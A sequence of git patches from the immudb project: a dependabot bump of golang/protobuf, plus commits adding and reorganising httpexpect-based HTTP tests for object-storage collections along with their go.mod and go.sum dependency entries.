Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 24 Apr 2023 16:35:27 +0000 Subject: [PATCH 0437/1062] chore(deps): bump github.com/golang/protobuf from 1.5.2 to 1.5.3 Bumps [github.com/golang/protobuf](https://github.com/golang/protobuf) from 1.5.2 to 1.5.3. - [Release notes](https://github.com/golang/protobuf/releases) - [Commits](https://github.com/golang/protobuf/compare/v1.5.2...v1.5.3) --- updated-dependencies: - dependency-name: github.com/golang/protobuf dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index 482f58b819..6e55d089ee 100644 --- a/go.mod +++ b/go.mod @@ -6,7 +6,7 @@ require ( github.com/fatih/color v1.13.0 github.com/gizak/termui/v3 v3.1.0 github.com/gogo/protobuf v1.3.2 - github.com/golang/protobuf v1.5.2 + github.com/golang/protobuf v1.5.3 github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 diff --git a/go.sum b/go.sum index a1345250d0..229a404d33 100644 --- a/go.sum +++ b/go.sum @@ -553,8 +553,9 @@ github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= -github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= +github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= From 919ecbcc5d8984b661084247d4cfbf340bbbe2ba Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 18 Apr 2023 07:55:57 -0300 Subject: [PATCH 0438/1062] chore(test/objects): use httpexpect Signed-off-by: Marco Sanchotene --- .../objects_tests/collections_test.go | 2 ++ .../objects_tests/collections_test_new.go | 32 +++++++++++++++++++ .../objects_tests/collections_test_new2.go | 30 +++++++++++++++++ .../objects_tests/objecttestutils.go | 20 ++++++++++++ 4 files changed, 84 insertions(+) create mode 100644 test/objectstorage_tests/objects_tests/collections_test_new.go create mode 100644 test/objectstorage_tests/objects_tests/collections_test_new2.go diff --git a/test/objectstorage_tests/objects_tests/collections_test.go b/test/objectstorage_tests/objects_tests/collections_test.go index b20371b674..3c9e00027b 100644 --- a/test/objectstorage_tests/objects_tests/collections_test.go +++ b/test/objectstorage_tests/objects_tests/collections_test.go @@ -2,9 +2,11 @@ package main import ( "context" + "net/http" "testing" "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbdocuments" + "github.com/gavv/httpexpect/v2" "github.com/stretchr/testify/assert" ) diff --git a/test/objectstorage_tests/objects_tests/collections_test_new.go b/test/objectstorage_tests/objects_tests/collections_test_new.go new file mode 100644 index 0000000000..4f037d964e --- /dev/null +++ b/test/objectstorage_tests/objects_tests/collections_test_new.go @@ -0,0 +1,32 @@ +package main + +import ( + "net/http" + "os" + "testing" + + "github.com/gavv/httpexpect/v2" +) + +func TestCreateCollectionWithInvalidName(t *testing.T) { + var baseURL = os.Getenv("OBJECTS_TEST_BASEURL") + var password = os.Getenv("OBJECTS_TEST_PASSWORD") + + user := map[string]interface{}{ + "username": "immudb", + "password": password, + "database": "defaultdb", + } + e := httpexpect.Default(t, baseURL) + obj := e.POST("/authorization/session/open"). + WithJSON(user). + Expect(). + Status(http.StatusOK).JSON().Object() + token := obj.Value("token").Raw().(string) + + e.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", token). + WithQuery("name", "accounts"). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty() +} diff --git a/test/objectstorage_tests/objects_tests/collections_test_new2.go b/test/objectstorage_tests/objects_tests/collections_test_new2.go new file mode 100644 index 0000000000..8809b025c5 --- /dev/null +++ b/test/objectstorage_tests/objects_tests/collections_test_new2.go @@ -0,0 +1,30 @@ +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/suite" +) + +type MySuite struct { + suite.Suite + MyObject *MyObject +} + +func (s *MySuite) SetupSuite() { + // Set up your object here + s.MyObject = httpexpect.Default(t, baseURL) +} + +func (s *MySuite) TestMyFirstTest() { + // Use your object here + assert.Equal(s.T(), s.MyObject.Foo(), "foo should be equal") +} + +func (s *MySuite) TestMySecondTest() { + // Use your object here + assert.Equal(s.T(), s.MyObject.Bar(), "bar should be equal") +} + +func TestSuite(t *testing.T) { + suite.Run(t, new(MySuite)) +} diff --git a/test/objectstorage_tests/objects_tests/objecttestutils.go b/test/objectstorage_tests/objects_tests/objecttestutils.go index 0428e15d32..147117504f 100644 --- a/test/objectstorage_tests/objects_tests/objecttestutils.go +++ b/test/objectstorage_tests/objects_tests/objecttestutils.go @@ -7,6 +7,7 @@ import ( authorizationClient "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbauth" documentsClient "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbdocuments" + "github.com/gavv/httpexpect/v2" "github.com/google/uuid" ) @@ -89,3 +90,22 @@ func CreateAndGetStandardTestCollection(client *documentsClient.ClientWithRespon } return collectionName } + +func getToken() string { + var baseURL = os.Getenv("OBJECTS_TEST_BASEURL") + var password = os.Getenv("OBJECTS_TEST_PASSWORD") + + user := map[string]interface{}{ + "username": "immudb", + "password": password, + "database": "defaultdb", + } + e := httpexpect.Default(t, baseURL) + obj := e.POST("/authorization/session/open"). + WithJSON(user). + Expect(). + Status(http.StatusOK).JSON().Object() + token := obj.Value("token").Raw().(string) + + return token +} From 73f0937774c4f83973069f4bc0f9a6cf6da03ba5 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 18 Apr 2023 17:42:20 -0300 Subject: [PATCH 0439/1062] chore(test/objects): add tests to create collections Signed-off-by: Marco Sanchotene --- test/objectstorage_tests/go.mod | 30 ++++- test/objectstorage_tests/go.sum | 100 ++++++++++++++++ .../objects_tests/collections_test.go | 2 - .../objects_tests/collections_test_new.go | 32 ------ .../objects_tests/collections_test_new2.go | 30 ----- .../objects_tests/create_collections_test.go | 107 ++++++++++++++++++ .../objects_tests/objecttestutils.go | 20 ---- 7 files changed, 236 insertions(+), 85 deletions(-) delete mode 100644 test/objectstorage_tests/objects_tests/collections_test_new.go delete mode 100644 test/objectstorage_tests/objects_tests/collections_test_new2.go create mode 100644 test/objectstorage_tests/objects_tests/create_collections_test.go diff --git a/test/objectstorage_tests/go.mod b/test/objectstorage_tests/go.mod index a7031fefc8..7caa487166 100644 --- a/test/objectstorage_tests/go.mod +++ b/test/objectstorage_tests/go.mod @@ -9,13 +9,41 @@ require ( golang.org/x/oauth2 v0.5.0 ) +require ( + github.com/ajg/form v1.5.1 // indirect + github.com/andybalholm/brotli v1.0.4 // indirect + github.com/fatih/color v1.13.0 // indirect + github.com/fatih/structs v1.1.0 // indirect + github.com/gobwas/glob v0.2.3 // indirect + github.com/google/go-querystring v1.1.0 // indirect + github.com/gorilla/websocket v1.4.2 // indirect + github.com/imkira/go-interpol v1.1.0 // indirect + github.com/klauspost/compress v1.15.0 // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.17 // indirect + github.com/mitchellh/go-wordwrap v1.0.1 // indirect + github.com/sanity-io/litter v1.5.5 // indirect + github.com/sergi/go-diff v1.0.0 // indirect + github.com/valyala/bytebufferpool v1.0.0 // indirect + github.com/valyala/fasthttp v1.34.0 // indirect + github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect + github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect + github.com/xeipuuv/gojsonschema v1.2.0 // indirect + github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 // indirect + github.com/yudai/gojsondiff v1.0.0 // indirect + github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 // indirect + golang.org/x/sys v0.5.0 // indirect + moul.io/http2curl/v2 v2.3.0 // indirect +) + require ( github.com/apapsch/go-jsonmerge/v2 v2.0.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/deepmap/oapi-codegen v1.12.4 // indirect + github.com/gavv/httpexpect/v2 v2.15.0 github.com/golang/protobuf v1.5.2 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect - golang.org/x/net v0.6.0 // indirect + golang.org/x/net v0.7.0 // indirect google.golang.org/appengine v1.6.7 // indirect google.golang.org/protobuf v1.28.1 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect diff --git a/test/objectstorage_tests/go.sum b/test/objectstorage_tests/go.sum index e92bd46e8c..b8e56fffc4 100644 --- a/test/objectstorage_tests/go.sum +++ b/test/objectstorage_tests/go.sum @@ -1,45 +1,142 @@ github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk= +github.com/ajg/form v1.5.1 h1:t9c7v8JUKu/XxOGBU0yjNpaMloxGEJhUkqFRq0ibGeU= +github.com/ajg/form v1.5.1/go.mod h1:uL1WgH+h2mgNtvBq0339dVnzXdBETtL2LeUXaIv25UY= +github.com/andybalholm/brotli v1.0.4 h1:V7DdXeJtZscaqfNuAdSRuRFzuiKlHSC/Zh3zl9qY3JY= +github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/antihax/optional v1.0.0 h1:xK2lYat7ZLaVVcIuj82J8kIro4V6kDe0AUDFboUCwcg= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ= github.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk= github.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w= +github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/deepmap/oapi-codegen v1.12.4 h1:pPmn6qI9MuOtCz82WY2Xaw46EQjgvxednXXrP7g5Q2s= github.com/deepmap/oapi-codegen v1.12.4/go.mod h1:3lgHGMu6myQ2vqbbTXH2H1o4eXFTGnFiDaOaKKl5yas= +github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= +github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= +github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= +github.com/gavv/httpexpect/v2 v2.15.0 h1:CCnFk9of4l4ijUhnMxyoEpJsIIBKcuWIFLMwwGTZxNs= +github.com/gavv/httpexpect/v2 v2.15.0/go.mod h1:7myOP3A3VyS4+qnA4cm8DAad8zMN+7zxDB80W9f8yIc= +github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= +github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= +github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= +github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= +github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/imkira/go-interpol v1.1.0 h1:KIiKr0VSG2CUW1hl1jpiyuzuJeKUUpC8iM1AIE7N1Vk= +github.com/imkira/go-interpol v1.1.0/go.mod h1:z0h2/2T3XF8kyEPpRgJ3kmNv+C43p+I/CoI+jC3w2iA= github.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE= +github.com/klauspost/compress v1.15.0 h1:xqfchp4whNFxn5A4XFyyYtitiWI8Hy5EW59jEwcyL6U= +github.com/klauspost/compress v1.15.0/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= +github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng= +github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= +github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= +github.com/pkg/diff v0.0.0-20200914180035-5b29258ca4f7/go.mod h1:zO8QMzTeZd5cpnIkz/Gn6iK0jDfGicM1nynOkkPIl28= +github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/sanity-io/litter v1.5.5 h1:iE+sBxPBzoK6uaEP5Lt3fHNgpKcHXc/A2HGETy0uJQo= +github.com/sanity-io/litter v1.5.5/go.mod h1:9gzJgR2i4ZpjZHsKvUXIRQVk7P+yM3e+jAF7bU2UI5U= +github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ= +github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= github.com/spkg/bom v0.0.0-20160624110644-59b7046e48ad/go.mod h1:qLr4V1qq6nMqFKkMo8ZTx3f+BZEkzsRUY10Xsm2mwU0= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v0.0.0-20161117074351-18a02ba4a312/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/tailscale/depaware v0.0.0-20210622194025-720c4b409502/go.mod h1:p9lPsd+cx33L3H9nNoecRRxPssFKUwwI50I3pZ0yT+8= +github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= +github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= +github.com/valyala/fasthttp v1.34.0 h1:d3AAQJ2DRcxJYHm7OXNXtXt2as1vMDfxeIcFvhmGGm4= +github.com/valyala/fasthttp v1.34.0/go.mod h1:epZA5N+7pY6ZaEKRmstzOuYJx9HI8DI1oaCGZpdH4h0= +github.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc= +github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= +github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb h1:zGWFAtiMcyryUHoUjUJX0/lt1H2+i2Ka2n+D3DImSNo= +github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= +github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0= +github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= +github.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74= +github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= +github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 h1:6fRhSjgLCkTD3JnJxvaJ4Sj+TYblw757bqYgZaOq5ZY= +github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0/go.mod h1:/LWChgwKmvncFJFHJ7Gvn9wZArjbV5/FppcK2fKk/tI= +github.com/yudai/gojsondiff v1.0.0 h1:27cbfqXLVEJ1o8I6v3y9lg8Ydm53EKqHXAOMxEGlCOA= +github.com/yudai/gojsondiff v1.0.0/go.mod h1:AY32+k2cwILAkW1fbgxQ5mUmMiZFgLIV+FBNExI05xg= +github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 h1:BHyfKlQyqbsFN5p3IfnEUduWvb9is428/nNb5L3U01M= +github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82/go.mod h1:lgjkn3NuSvDfVJdfcVVdX+jpBxNmX4rDAzaS45IcYoM= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20220214200702-86341886e292/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.6.0 h1:L4ZwwTvKW9gr0ZMS1yrHD9GZhIuVjOBBnaKH+SPQK0Q= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/oauth2 v0.5.0 h1:HuArIo48skDwlrvM3sEdHXElYslAMsf3KwRkkW4MC4s= golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20201211185031-d93e913c1a58/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 